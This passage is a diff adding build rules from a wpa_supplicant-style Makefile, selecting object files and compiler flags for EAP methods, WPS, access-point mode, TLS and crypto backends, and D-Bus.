dyn) +CFLAGS += -DEAP_PAX_DYNAMIC +EAPDYN += ../src/eap_peer/eap_pax.so +else +CFLAGS += -DEAP_PAX +OBJS += ../src/eap_peer/eap_pax.o ../src/eap_common/eap_pax_common.o +OBJS_h += ../src/eap_server/eap_server_pax.o +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_SAKE +# EAP-SAKE +ifeq ($(CONFIG_EAP_SAKE), dyn) +CFLAGS += -DEAP_SAKE_DYNAMIC +EAPDYN += ../src/eap_peer/eap_sake.so +else +CFLAGS += -DEAP_SAKE +OBJS += ../src/eap_peer/eap_sake.o ../src/eap_common/eap_sake_common.o +OBJS_h += ../src/eap_server/eap_server_sake.o +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_GPSK +# EAP-GPSK +ifeq ($(CONFIG_EAP_GPSK), dyn) +CFLAGS += -DEAP_GPSK_DYNAMIC +EAPDYN += ../src/eap_peer/eap_gpsk.so +else +CFLAGS += -DEAP_GPSK +OBJS += ../src/eap_peer/eap_gpsk.o ../src/eap_common/eap_gpsk_common.o +OBJS_h += ../src/eap_server/eap_server_gpsk.o +endif +CONFIG_IEEE8021X_EAPOL=y +ifdef CONFIG_EAP_GPSK_SHA256 +CFLAGS += -DEAP_GPSK_SHA256 +endif +NEED_SHA256=y +NEED_AES_OMAC1=y +endif + +ifdef CONFIG_EAP_PWD +CFLAGS += -DEAP_PWD +OBJS += ../src/eap_peer/eap_pwd.o ../src/eap_common/eap_pwd_common.o +OBJS_h += ../src/eap_server/eap_server_pwd.o +CONFIG_IEEE8021X_EAPOL=y +NEED_SHA256=y +endif + +ifdef CONFIG_EAP_EKE +# EAP-EKE +ifeq ($(CONFIG_EAP_EKE), dyn) +CFLAGS += -DEAP_EKE_DYNAMIC +EAPDYN += ../src/eap_peer/eap_eke.so +else +CFLAGS += -DEAP_EKE +OBJS += ../src/eap_peer/eap_eke.o ../src/eap_common/eap_eke_common.o +OBJS_h += ../src/eap_server/eap_server_eke.o +endif +CONFIG_IEEE8021X_EAPOL=y +NEED_DH_GROUPS=y +NEED_DH_GROUPS_ALL=y +NEED_SHA256=y +endif + +ifdef CONFIG_WPS +ifdef CONFIG_WPS2 +CFLAGS += -DCONFIG_WPS2 +endif + +# EAP-WSC +CFLAGS += -DCONFIG_WPS -DEAP_WSC +OBJS += wps_supplicant.o +OBJS += ../src/utils/uuid.o +OBJS += ../src/eap_peer/eap_wsc.o ../src/eap_common/eap_wsc_common.o +OBJS += ../src/wps/wps.o +OBJS += ../src/wps/wps_common.o +OBJS += ../src/wps/wps_attr_parse.o +OBJS += ../src/wps/wps_attr_build.o +OBJS += ../src/wps/wps_attr_process.o +OBJS += ../src/wps/wps_dev_attr.o +OBJS += ../src/wps/wps_enrollee.o +OBJS += ../src/wps/wps_registrar.o +OBJS_h += ../src/eap_server/eap_server_wsc.o +CONFIG_IEEE8021X_EAPOL=y +NEED_DH_GROUPS=y +NEED_SHA256=y +NEED_BASE64=y +NEED_80211_COMMON=y +NEED_AES_CBC=y +NEED_MODEXP=y + +ifdef CONFIG_WPS_NFC +CFLAGS += -DCONFIG_WPS_NFC +OBJS += ../src/wps/ndef.o +NEED_WPS_OOB=y +endif + +ifdef NEED_WPS_OOB +CFLAGS += -DCONFIG_WPS_OOB +endif + +ifdef CONFIG_WPS_ER +CONFIG_WPS_UPNP=y +CFLAGS += -DCONFIG_WPS_ER +OBJS += ../src/wps/wps_er.o +OBJS += ../src/wps/wps_er_ssdp.o +endif + +ifdef CONFIG_WPS_UPNP +CFLAGS += -DCONFIG_WPS_UPNP +OBJS += ../src/wps/wps_upnp.o +OBJS += ../src/wps/wps_upnp_ssdp.o +OBJS += ../src/wps/wps_upnp_web.o +OBJS += ../src/wps/wps_upnp_event.o +OBJS += ../src/wps/wps_upnp_ap.o +OBJS += ../src/wps/upnp_xml.o +OBJS += ../src/wps/httpread.o +OBJS += ../src/wps/http_client.o +OBJS += ../src/wps/http_server.o +endif + +ifdef CONFIG_WPS_STRICT +CFLAGS += -DCONFIG_WPS_STRICT +OBJS += ../src/wps/wps_validate.o +endif + +ifdef CONFIG_WPS_TESTING +CFLAGS += -DCONFIG_WPS_TESTING +endif + +ifdef CONFIG_WPS_REG_DISABLE_OPEN +CFLAGS += -DCONFIG_WPS_REG_DISABLE_OPEN +endif + +endif + +ifdef CONFIG_EAP_IKEV2 +# EAP-IKEv2 +ifeq ($(CONFIG_EAP_IKEV2), dyn) +CFLAGS += -DEAP_IKEV2_DYNAMIC +EAPDYN += ../src/eap_peer/eap_ikev2.so ../src/eap_peer/ikev2.o +EAPDYN += ../src/eap_common/eap_ikev2_common.o ../src/eap_common/ikev2_common.o +else +CFLAGS += -DEAP_IKEV2 +OBJS += ../src/eap_peer/eap_ikev2.o ../src/eap_peer/ikev2.o +OBJS += ../src/eap_common/eap_ikev2_common.o ../src/eap_common/ikev2_common.o +OBJS_h += ../src/eap_server/eap_server_ikev2.o +OBJS_h += ../src/eap_server/ikev2.o +endif +CONFIG_IEEE8021X_EAPOL=y +NEED_DH_GROUPS=y +NEED_DH_GROUPS_ALL=y +NEED_MODEXP=y +NEED_CIPHER=y +endif + +ifdef CONFIG_EAP_VENDOR_TEST +ifeq ($(CONFIG_EAP_VENDOR_TEST), dyn) +CFLAGS += -DEAP_VENDOR_TEST_DYNAMIC +EAPDYN += ../src/eap_peer/eap_vendor_test.so +else +CFLAGS += -DEAP_VENDOR_TEST +OBJS += ../src/eap_peer/eap_vendor_test.o +OBJS_h += ../src/eap_server/eap_server_vendor_test.o +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_TNC +# EAP-TNC +CFLAGS += -DEAP_TNC +OBJS += ../src/eap_peer/eap_tnc.o +OBJS += ../src/eap_peer/tncc.o +OBJS_h += ../src/eap_server/eap_server_tnc.o +OBJS_h += ../src/eap_server/tncs.o +NEED_BASE64=y +ifndef CONFIG_NATIVE_WINDOWS +ifndef CONFIG_DRIVER_BSD +LIBS += -ldl +endif +endif +endif + +ifdef CONFIG_IEEE8021X_EAPOL +# IEEE 802.1X/EAPOL state machines (e.g., for RADIUS authentication) +CFLAGS += -DIEEE8021X_EAPOL +OBJS += ../src/eapol_supp/eapol_supp_sm.o +OBJS += ../src/eap_peer/eap.o ../src/eap_peer/eap_methods.o +NEED_EAP_COMMON=y +ifdef CONFIG_DYNAMIC_EAP_METHODS +CFLAGS += -DCONFIG_DYNAMIC_EAP_METHODS +LIBS += -ldl -rdynamic +endif +endif + +ifdef CONFIG_AP +NEED_80211_COMMON=y +NEED_EAP_COMMON=y +NEED_RSN_AUTHENTICATOR=y +CFLAGS += -DCONFIG_AP +OBJS += ap.o +CFLAGS += -DCONFIG_NO_RADIUS +CFLAGS += -DCONFIG_NO_ACCOUNTING +CFLAGS += -DCONFIG_NO_VLAN +OBJS += ../src/ap/hostapd.o +OBJS += ../src/ap/wpa_auth_glue.o +OBJS += ../src/ap/utils.o +OBJS += ../src/ap/authsrv.o +OBJS += ../src/ap/ap_config.o +OBJS += ../src/utils/ip_addr.o +OBJS += ../src/ap/sta_info.o +OBJS += ../src/ap/tkip_countermeasures.o +OBJS += ../src/ap/ap_mlme.o +OBJS += ../src/ap/ieee802_1x.o +OBJS += ../src/eapol_auth/eapol_auth_sm.o +OBJS += ../src/ap/ieee802_11_auth.o +OBJS += ../src/ap/ieee802_11_shared.o +OBJS += ../src/ap/drv_callbacks.o +OBJS += ../src/ap/ap_drv_ops.o +OBJS += ../src/ap/beacon.o +OBJS += ../src/ap/eap_user_db.o +ifdef CONFIG_IEEE80211N +OBJS += ../src/ap/ieee802_11_ht.o +ifdef CONFIG_IEEE80211AC +OBJS += ../src/ap/ieee802_11_vht.o +endif +endif +ifdef CONFIG_WNM +OBJS += ../src/ap/wnm_ap.o +endif +ifdef CONFIG_CTRL_IFACE +OBJS += ../src/ap/ctrl_iface_ap.o +endif + +CFLAGS += -DEAP_SERVER -DEAP_SERVER_IDENTITY +OBJS += ../src/eap_server/eap_server.o +OBJS += ../src/eap_server/eap_server_identity.o +OBJS += ../src/eap_server/eap_server_methods.o + +ifdef CONFIG_IEEE80211N +CFLAGS += -DCONFIG_IEEE80211N +ifdef CONFIG_IEEE80211AC +CFLAGS += -DCONFIG_IEEE80211AC +endif +endif + +ifdef NEED_AP_MLME +OBJS += ../src/ap/wmm.o +OBJS += ../src/ap/ap_list.o +OBJS += ../src/ap/ieee802_11.o +OBJS += ../src/ap/hw_features.o +OBJS += ../src/ap/dfs.o +CFLAGS += -DNEED_AP_MLME +endif +ifdef CONFIG_WPS +CFLAGS += -DEAP_SERVER_WSC +OBJS += ../src/ap/wps_hostapd.o +OBJS += ../src/eap_server/eap_server_wsc.o +endif +ifdef CONFIG_INTERWORKING +OBJS += ../src/ap/gas_serv.o +endif +ifdef CONFIG_HS20 +OBJS += ../src/ap/hs20.o +endif +endif + +ifdef NEED_RSN_AUTHENTICATOR +CFLAGS += -DCONFIG_NO_RADIUS +NEED_AES_WRAP=y +OBJS += ../src/ap/wpa_auth.o +OBJS += ../src/ap/wpa_auth_ie.o +OBJS += ../src/ap/pmksa_cache_auth.o +ifdef CONFIG_IEEE80211R +OBJS += ../src/ap/wpa_auth_ft.o +endif +ifdef CONFIG_PEERKEY +OBJS += ../src/ap/peerkey_auth.o +endif +endif + +ifdef CONFIG_EAP_SERVER +CFLAGS += -DEAP_SERVER +OBJS_h += ../src/eap_server/eap_server.o +OBJS_h += ../src/eap_server/eap_server_identity.o +OBJS_h += ../src/eap_server/eap_server_methods.o +endif + +ifdef CONFIG_RADIUS_CLIENT +OBJS_h += ../src/utils/ip_addr.o +OBJS_h += ../src/radius/radius.o +OBJS_h += ../src/radius/radius_client.o +endif + +ifdef CONFIG_AUTHENTICATOR +OBJS_h += ../src/eapol_auth/eapol_auth_sm.o +OBJS_h += ../src/ap/ieee802_1x.o +endif + +ifdef CONFIG_WPA_AUTHENTICATOR +OBJS_h += ../src/ap/wpa_auth.o +OBJS_h += ../src/ap/wpa_auth_ie.o +OBJS_h += ../src/ap/pmksa_cache_auth.o +ifdef CONFIG_IEEE80211R +OBJS_h += ../src/ap/wpa_auth_ft.o +endif +ifdef CONFIG_PEERKEY +OBJS_h += ../src/ap/peerkey_auth.o +endif +endif + +ifdef CONFIG_PCSC +# PC/SC interface for smartcards (USIM, GSM SIM) +CFLAGS += -DPCSC_FUNCS -I/usr/include/PCSC +OBJS += ../src/utils/pcsc_funcs.o +# -lpthread may not be needed depending on how pcsc-lite was configured +ifdef CONFIG_NATIVE_WINDOWS +#Once MinGW gets support for WinScard, -lwinscard could be used instead of the +#dynamic symbol loading that is now used in pcsc_funcs.c +#LIBS += -lwinscard +else +LIBS += -lpcsclite -lpthread +endif +endif + +ifdef CONFIG_SIM_SIMULATOR +CFLAGS += -DCONFIG_SIM_SIMULATOR +NEED_MILENAGE=y +endif + +ifdef CONFIG_USIM_SIMULATOR +CFLAGS += -DCONFIG_USIM_SIMULATOR +NEED_MILENAGE=y +endif + +ifdef NEED_MILENAGE +OBJS += ../src/crypto/milenage.o +NEED_AES_ENCBLOCK=y +endif + +ifdef CONFIG_PKCS12 +CFLAGS += -DPKCS12_FUNCS +endif + +ifdef CONFIG_SMARTCARD +CFLAGS += -DCONFIG_SMARTCARD +endif + +ifdef MS_FUNCS +OBJS += ../src/crypto/ms_funcs.o +NEED_DES=y +NEED_MD4=y +endif + +ifdef CHAP +OBJS += ../src/eap_common/chap.o +endif + +ifdef TLS_FUNCS +NEED_DES=y +# Shared TLS functions (needed for EAP_TLS, EAP_PEAP, EAP_TTLS, and EAP_FAST) +OBJS += ../src/eap_peer/eap_tls_common.o +OBJS_h += ../src/eap_server/eap_server_tls_common.o +ifndef CONFIG_FIPS +NEED_TLS_PRF=y +NEED_SHA1=y +NEED_MD5=y +endif +endif + +ifndef CONFIG_TLS +CONFIG_TLS=openssl +endif + +ifdef CONFIG_TLSV11 +CFLAGS += -DCONFIG_TLSV11 +endif + +ifdef CONFIG_TLSV12 +CFLAGS += -DCONFIG_TLSV12 +NEED_SHA256=y +endif + +ifeq ($(CONFIG_TLS), openssl) +ifdef TLS_FUNCS +CFLAGS += -DEAP_TLS_OPENSSL +OBJS += ../src/crypto/tls_openssl.o +LIBS += -lssl +endif +OBJS += ../src/crypto/crypto_openssl.o +OBJS_p += ../src/crypto/crypto_openssl.o +ifdef NEED_FIPS186_2_PRF +OBJS += ../src/crypto/fips_prf_openssl.o +endif +LIBS += -lcrypto +LIBS_p += -lcrypto +ifdef CONFIG_TLS_ADD_DL +LIBS += -ldl +LIBS_p += -ldl +endif +endif + +ifeq ($(CONFIG_TLS), gnutls) +ifdef TLS_FUNCS +OBJS += ../src/crypto/tls_gnutls.o +LIBS += -lgnutls -lgpg-error +endif +OBJS += ../src/crypto/crypto_gnutls.o +OBJS_p += ../src/crypto/crypto_gnutls.o +ifdef NEED_FIPS186_2_PRF +OBJS += ../src/crypto/fips_prf_gnutls.o +endif +LIBS += -lgcrypt +LIBS_p += -lgcrypt +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif + +ifeq ($(CONFIG_TLS), schannel) +ifdef TLS_FUNCS +OBJS += ../src/crypto/tls_schannel.o +endif +OBJS += ../src/crypto/crypto_cryptoapi.o +OBJS_p += ../src/crypto/crypto_cryptoapi.o +ifdef NEED_FIPS186_2_PRF +OBJS += ../src/crypto/fips_prf_cryptoapi.o +endif +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif + +ifeq ($(CONFIG_TLS), nss) +ifdef TLS_FUNCS +OBJS += ../src/crypto/tls_nss.o +LIBS += -lssl3 +endif +OBJS += ../src/crypto/crypto_nss.o +OBJS_p += ../src/crypto/crypto_nss.o +ifdef NEED_FIPS186_2_PRF +OBJS += ../src/crypto/fips_prf_nss.o +endif +LIBS += -lnss3 +LIBS_p += -lnss3 +CONFIG_INTERNAL_MD4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif + +ifeq ($(CONFIG_TLS), internal) +ifndef CONFIG_CRYPTO +CONFIG_CRYPTO=internal +endif +ifdef TLS_FUNCS +OBJS += ../src/crypto/crypto_internal-rsa.o +OBJS += ../src/crypto/tls_internal.o +OBJS += ../src/tls/tlsv1_common.o +OBJS += ../src/tls/tlsv1_record.o +OBJS += ../src/tls/tlsv1_cred.o +OBJS += ../src/tls/tlsv1_client.o +OBJS += ../src/tls/tlsv1_client_write.o +OBJS += ../src/tls/tlsv1_client_read.o +OBJS += ../src/tls/asn1.o +OBJS += ../src/tls/rsa.o +OBJS += ../src/tls/x509v3.o +OBJS += ../src/tls/pkcs1.o +OBJS += ../src/tls/pkcs5.o +OBJS += ../src/tls/pkcs8.o +NEED_SHA256=y +NEED_BASE64=y +NEED_TLS_PRF=y +ifdef CONFIG_TLSV12 +NEED_TLS_PRF_SHA256=y +endif +NEED_MODEXP=y +NEED_CIPHER=y +CFLAGS += -DCONFIG_TLS_INTERNAL_CLIENT +endif +ifdef NEED_CIPHER +NEED_DES=y +OBJS += ../src/crypto/crypto_internal-cipher.o +endif +ifdef NEED_MODEXP +OBJS += ../src/crypto/crypto_internal-modexp.o +OBJS += ../src/tls/bignum.o +endif +ifeq ($(CONFIG_CRYPTO), libtomcrypt) +OBJS += ../src/crypto/crypto_libtomcrypt.o +OBJS_p += ../src/crypto/crypto_libtomcrypt.o +LIBS += -ltomcrypt -ltfm +LIBS_p += -ltomcrypt -ltfm +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif +ifeq ($(CONFIG_CRYPTO), internal) +OBJS += ../src/crypto/crypto_internal.o +OBJS_p += ../src/crypto/crypto_internal.o +NEED_AES_ENC=y +CFLAGS += -DCONFIG_CRYPTO_INTERNAL +ifdef CONFIG_INTERNAL_LIBTOMMATH +CFLAGS += -DCONFIG_INTERNAL_LIBTOMMATH +ifdef CONFIG_INTERNAL_LIBTOMMATH_FAST +CFLAGS += -DLTM_FAST +endif +else +LIBS += -ltommath +LIBS_p += -ltommath +endif +CONFIG_INTERNAL_AES=y +CONFIG_INTERNAL_DES=y +CONFIG_INTERNAL_SHA1=y +CONFIG_INTERNAL_MD4=y +CONFIG_INTERNAL_MD5=y +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +CONFIG_INTERNAL_DH_GROUP5=y +endif +ifeq ($(CONFIG_CRYPTO), cryptoapi) +OBJS += ../src/crypto/crypto_cryptoapi.o +OBJS_p += ../src/crypto/crypto_cryptoapi.o +CFLAGS += -DCONFIG_CRYPTO_CRYPTOAPI +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +endif +endif + +ifeq ($(CONFIG_TLS), none) +ifdef TLS_FUNCS +OBJS += ../src/crypto/tls_none.o +CFLAGS += -DEAP_TLS_NONE +CONFIG_INTERNAL_AES=y +CONFIG_INTERNAL_SHA1=y +CONFIG_INTERNAL_MD5=y +endif +OBJS += ../src/crypto/crypto_none.o +OBJS_p += ../src/crypto/crypto_none.o +CONFIG_INTERNAL_SHA256=y +CONFIG_INTERNAL_RC4=y +endif + +ifdef TLS_FUNCS +ifdef CONFIG_SMARTCARD +ifndef CONFIG_NATIVE_WINDOWS +ifneq ($(CONFIG_L2_PACKET), freebsd) +LIBS += -ldl +endif +endif +endif +endif + +ifndef TLS_FUNCS +OBJS += ../src/crypto/tls_none.o +ifeq ($(CONFIG_TLS), internal) +CONFIG_INTERNAL_AES=y +CONFIG_INTERNAL_SHA1=y +CONFIG_INTERNAL_MD5=y +CONFIG_INTERNAL_RC4=y +endif +endif + +AESOBJS = # none so far (see below) +ifdef CONFIG_INTERNAL_AES +AESOBJS += ../src/crypto/aes-internal.o ../src/crypto/aes-internal-dec.o +endif + +AESOBJS += ../src/crypto/aes-unwrap.o +ifdef NEED_AES_EAX +AESOBJS += ../src/crypto/aes-eax.o +NEED_AES_CTR=y +endif +ifdef NEED_AES_CTR +AESOBJS += ../src/crypto/aes-ctr.o +endif +ifdef NEED_AES_ENCBLOCK +AESOBJS += ../src/crypto/aes-encblock.o +endif +ifdef NEED_AES_OMAC1 +NEED_AES_ENC=y +ifdef CONFIG_OPENSSL_CMAC +CFLAGS += -DCONFIG_OPENSSL_CMAC +else +AESOBJS += ../src/crypto/aes-omac1.o +endif +endif +ifdef NEED_AES_WRAP +NEED_AES_ENC=y +AESOBJS += ../src/crypto/aes-wrap.o +endif +ifdef NEED_AES_CBC +NEED_AES_ENC=y +AESOBJS += ../src/crypto/aes-cbc.o +endif +ifdef NEED_AES_ENC +ifdef CONFIG_INTERNAL_AES +AESOBJS += ../src/crypto/aes-internal-enc.o +endif +endif +ifdef NEED_AES +OBJS += $(AESOBJS) +endif + +ifdef NEED_SHA1 +ifneq ($(CONFIG_TLS), openssl) +SHA1OBJS += ../src/crypto/sha1.o +endif +SHA1OBJS += ../src/crypto/sha1-prf.o +ifdef CONFIG_INTERNAL_SHA1 +SHA1OBJS += ../src/crypto/sha1-internal.o +ifdef NEED_FIPS186_2_PRF +SHA1OBJS += ../src/crypto/fips_prf_internal.o +endif +endif +ifdef CONFIG_NO_WPA_PASSPHRASE +CFLAGS += -DCONFIG_NO_PBKDF2 +else +ifneq ($(CONFIG_TLS), openssl) +SHA1OBJS += ../src/crypto/sha1-pbkdf2.o +endif +endif +ifdef NEED_T_PRF +SHA1OBJS += ../src/crypto/sha1-tprf.o +endif +ifdef NEED_TLS_PRF +SHA1OBJS += ../src/crypto/sha1-tlsprf.o +endif +endif + +ifndef CONFIG_FIPS +MD5OBJS += ../src/crypto/md5.o +endif +ifdef NEED_MD5 +ifdef CONFIG_INTERNAL_MD5 +MD5OBJS += ../src/crypto/md5-internal.o +endif +OBJS += $(MD5OBJS) +OBJS_p += $(MD5OBJS) +endif + +ifdef NEED_MD4 +ifdef CONFIG_INTERNAL_MD4 +OBJS += ../src/crypto/md4-internal.o +endif +endif + +DESOBJS = # none needed when not internal +ifdef NEED_DES +ifdef CONFIG_INTERNAL_DES +DESOBJS += ../src/crypto/des-internal.o +endif +endif + +ifdef NEED_RC4 +ifdef CONFIG_INTERNAL_RC4 +OBJS += ../src/crypto/rc4.o +endif +endif + +SHA256OBJS = # none by default +ifdef NEED_SHA256 +CFLAGS += -DCONFIG_SHA256 +ifneq ($(CONFIG_TLS), openssl) +SHA256OBJS += ../src/crypto/sha256.o +endif +SHA256OBJS += ../src/crypto/sha256-prf.o +ifdef CONFIG_INTERNAL_SHA256 +SHA256OBJS += ../src/crypto/sha256-internal.o +endif +ifdef NEED_TLS_PRF_SHA256 +SHA256OBJS += ../src/crypto/sha256-tlsprf.o +endif +OBJS += $(SHA256OBJS) +endif + +ifdef NEED_DH_GROUPS +OBJS += ../src/crypto/dh_groups.o +endif +ifdef NEED_DH_GROUPS_ALL +CFLAGS += -DALL_DH_GROUPS +endif +ifdef CONFIG_INTERNAL_DH_GROUP5 +ifdef NEED_DH_GROUPS +OBJS += ../src/crypto/dh_group5.o +endif +endif + +ifdef NEED_ECC +CFLAGS += -DCONFIG_ECC +endif + +ifdef CONFIG_NO_RANDOM_POOL +CFLAGS += -DCONFIG_NO_RANDOM_POOL +else +OBJS += ../src/crypto/random.o +endif + +ifdef CONFIG_CTRL_IFACE +ifeq ($(CONFIG_CTRL_IFACE), y) +ifdef CONFIG_NATIVE_WINDOWS +CONFIG_CTRL_IFACE=named_pipe +else +CONFIG_CTRL_IFACE=unix +endif +endif +CFLAGS += -DCONFIG_CTRL_IFACE +ifeq ($(CONFIG_CTRL_IFACE), unix) +CFLAGS += -DCONFIG_CTRL_IFACE_UNIX +endif +ifeq ($(CONFIG_CTRL_IFACE), udp) +CFLAGS += -DCONFIG_CTRL_IFACE_UDP +endif +ifeq ($(CONFIG_CTRL_IFACE), named_pipe) +CFLAGS += -DCONFIG_CTRL_IFACE_NAMED_PIPE +endif +ifeq ($(CONFIG_CTRL_IFACE), udp-remote) +CONFIG_CTRL_IFACE=udp +CFLAGS += -DCONFIG_CTRL_IFACE_UDP +CFLAGS += -DCONFIG_CTRL_IFACE_UDP_REMOTE +endif +OBJS += ctrl_iface.o ctrl_iface_$(CONFIG_CTRL_IFACE).o +endif + +ifdef CONFIG_CTRL_IFACE_DBUS +DBUS=y +DBUS_CFLAGS += -DCONFIG_CTRL_IFACE_DBUS -DDBUS_API_SUBJECT_TO_CHANGE +DBUS_OBJS += dbus/dbus_old.o dbus/dbus_old_handlers.o +ifdef CONFIG_WPS +DBUS_OBJS += dbus/dbus_old_handlers_wps.o +endif +DBUS_OBJS += dbus/dbus_dict_helpers.o +ifndef DBUS_LIBS +DBUS_LIBS := $(shell $(PKG_CONFIG) --libs dbus-1) +endif +ifndef DBUS_INCLUDE +DBUS_INCLUDE := $(shell $(PKG_CONFIG) --cflags dbus-1) +endif +DBUS_CFLAGS += $(DBUS_INCLUDE) +endif + +ifdef CONFIG_CTRL_IFACE_DBUS_NEW +DBUS=y +DBUS_CFLAGS += -DCONFIG_CTRL_IFACE_DBUS_NEW +DBUS_OBJS ?= dbus/dbus_dict_helpers.o +DBUS_OBJS += dbus/dbus_new_helpers.o +DBUS_OBJS += dbus/dbus_new.o dbus/dbus_new_handlers.o +ifdef CONFIG_WPS +DBUS_OBJS += dbus/dbus_new_handlers_wps.o +endif +ifdef CONFIG_P2P +DBUS_OBJS += dbus/dbus_new_handlers_p2p.o +endif +ifndef DBUS_LIBS +DBUS_LIBS := $(shell $(PKG_CONFIG) --libs dbus-1) +endif +ifndef DBUS_INCLUDE +DBUS_INCLUDE := $(shell $(PKG_CONFIG) --cflags dbus-1) +endif +ifdef CONFIG_CTRL_IFACE_DBUS_INTRO +DBUS_OBJS += dbus/dbus_new_introspect.o +DBUS_CFLAGS += -DCONFIG_CTRL_IFACE_DBUS_INTRO +endif +DBUS_CFLAGS += $(DBUS_INCLUDE) +endif + +ifdef DBUS +DBUS_CFLAGS += -DCONFIG_DBUS +DBUS_OBJS += dbus/dbus_common.o +endif + +OBJS += $(DBUS_OBJS) +CFLAGS += $(DBUS_CFLAGS) +LIBS += $(DBUS_LIBS) + +ifdef CONFIG_READLINE +OBJS_c += ../src/utils/edit_readline.o +LIBS_c += -lncurses -lreadline +else +ifdef CONFIG_WPA_CLI_EDIT +OBJS_c += ../src/utils/edit.o +else +OBJS_c += ../src/utils/edit_simple.o +endif +endif + +ifdef CONFIG_NATIVE_WINDOWS +CFLAGS += -DCONFIG_NATIVE_WINDOWS +LIBS += -lws2_32 -lgdi32 -lcrypt32 +LIBS_c += -lws2_32 +LIBS_p += -lws2_32 -lgdi32 +ifeq ($(CONFIG_CRYPTO), cryptoapi) +LIBS_p += -lcrypt32 +endif +endif + +ifdef CONFIG_NO_STDOUT_DEBUG +CFLAGS += -DCONFIG_NO_STDOUT_DEBUG +ifndef CONFIG_CTRL_IFACE +CFLAGS += -DCONFIG_NO_WPA_MSG +endif +endif + +ifdef CONFIG_IPV6 +# for eapol_test only +CFLAGS += -DCONFIG_IPV6 +endif + +ifdef NEED_BASE64 +OBJS += ../src/utils/base64.o +endif + +ifdef NEED_SME +NEED_80211_COMMON=y +OBJS += sme.o +CFLAGS += -DCONFIG_SME +endif + +ifdef NEED_80211_COMMON +OBJS += ../src/common/ieee802_11_common.o +endif + +ifdef NEED_EAP_COMMON +OBJS += ../src/eap_common/eap_common.o +endif + +ifndef CONFIG_MAIN +CONFIG_MAIN=main +endif + +ifdef CONFIG_DEBUG_SYSLOG +CFLAGS += -DCONFIG_DEBUG_SYSLOG +ifdef CONFIG_DEBUG_SYSLOG_FACILITY +CFLAGS += -DLOG_HOSTAPD="$(CONFIG_DEBUG_SYSLOG_FACILITY)" +endif +endif + +ifdef CONFIG_DEBUG_LINUX_TRACING +CFLAGS += -DCONFIG_DEBUG_LINUX_TRACING +endif + +ifdef CONFIG_DEBUG_FILE +CFLAGS += -DCONFIG_DEBUG_FILE +endif + +ifdef CONFIG_DELAYED_MIC_ERROR_REPORT +CFLAGS += -DCONFIG_DELAYED_MIC_ERROR_REPORT +endif + +ifdef CONFIG_FIPS +CFLAGS += -DCONFIG_FIPS +ifneq ($(CONFIG_TLS), openssl) +$(error CONFIG_FIPS=y requires CONFIG_TLS=openssl) +endif +endif + +OBJS += $(SHA1OBJS) $(DESOBJS) + +OBJS_p += $(SHA1OBJS) +OBJS_p += $(SHA256OBJS) + +ifdef CONFIG_BGSCAN_SIMPLE +CFLAGS += -DCONFIG_BGSCAN_SIMPLE +OBJS += bgscan_simple.o +NEED_BGSCAN=y +endif + +ifdef CONFIG_BGSCAN_LEARN +CFLAGS += -DCONFIG_BGSCAN_LEARN +OBJS += bgscan_learn.o +NEED_BGSCAN=y +endif + +ifdef NEED_BGSCAN +CFLAGS += -DCONFIG_BGSCAN +OBJS += bgscan.o +endif + +ifdef CONFIG_AUTOSCAN_EXPONENTIAL +CFLAGS += -DCONFIG_AUTOSCAN_EXPONENTIAL +OBJS += autoscan_exponential.o +NEED_AUTOSCAN=y +endif + +ifdef CONFIG_AUTOSCAN_PERIODIC +CFLAGS += -DCONFIG_AUTOSCAN_PERIODIC +OBJS += autoscan_periodic.o +NEED_AUTOSCAN=y +endif + +ifdef NEED_AUTOSCAN +CFLAGS += -DCONFIG_AUTOSCAN +OBJS += autoscan.o +endif + +ifdef CONFIG_EXT_PASSWORD_TEST +OBJS += ../src/utils/ext_password_test.o +CFLAGS += -DCONFIG_EXT_PASSWORD_TEST +NEED_EXT_PASSWORD=y +endif + +ifdef NEED_EXT_PASSWORD +OBJS += ../src/utils/ext_password.o +CFLAGS += -DCONFIG_EXT_PASSWORD +endif + +ifdef NEED_GAS +OBJS += ../src/common/gas.o +OBJS += gas_query.o +CFLAGS += -DCONFIG_GAS +NEED_OFFCHANNEL=y +endif + +ifdef NEED_OFFCHANNEL +OBJS += offchannel.o +CFLAGS += -DCONFIG_OFFCHANNEL +endif + +OBJS += ../src/drivers/driver_common.o +OBJS_priv += ../src/drivers/driver_common.o + +OBJS_wpa_rm := ctrl_iface.o ctrl_iface_unix.o +OBJS_wpa := $(filter-out $(OBJS_wpa_rm),$(OBJS)) $(OBJS_h) tests/test_wpa.o +ifdef CONFIG_AUTHENTICATOR +OBJS_wpa += tests/link_test.o +endif +OBJS_wpa += $(OBJS_l2) +OBJS += wpa_supplicant.o events.o blacklist.o wpas_glue.o scan.o +OBJS_t := $(OBJS) $(OBJS_l2) eapol_test.o +OBJS_t += ../src/radius/radius_client.o +OBJS_t += ../src/radius/radius.o +ifndef CONFIG_AP +OBJS_t += ../src/utils/ip_addr.o +endif +OBJS_t2 := $(OBJS) $(OBJS_l2) preauth_test.o + +OBJS_nfc := $(OBJS) $(OBJS_l2) nfc_pw_token.o +OBJS_nfc += $(OBJS_d) ../src/drivers/drivers.o + +OBJS += $(CONFIG_MAIN).o + +ifdef CONFIG_PRIVSEP +OBJS_priv += $(OBJS_d) ../src/drivers/drivers.o +OBJS_priv += $(OBJS_l2) +OBJS_priv += ../src/utils/os_$(CONFIG_OS).o +OBJS_priv += ../src/utils/$(CONFIG_ELOOP).o +OBJS_priv += ../src/utils/common.o +OBJS_priv += ../src/utils/wpa_debug.o +OBJS_priv += ../src/utils/wpabuf.o +OBJS_priv += wpa_priv.o +ifdef CONFIG_DRIVER_NL80211 +OBJS_priv += ../src/common/ieee802_11_common.o +endif +ifdef CONFIG_DRIVER_TEST +OBJS_priv += $(SHA1OBJS) +OBJS_priv += $(MD5OBJS) +ifeq ($(CONFIG_TLS), openssl) 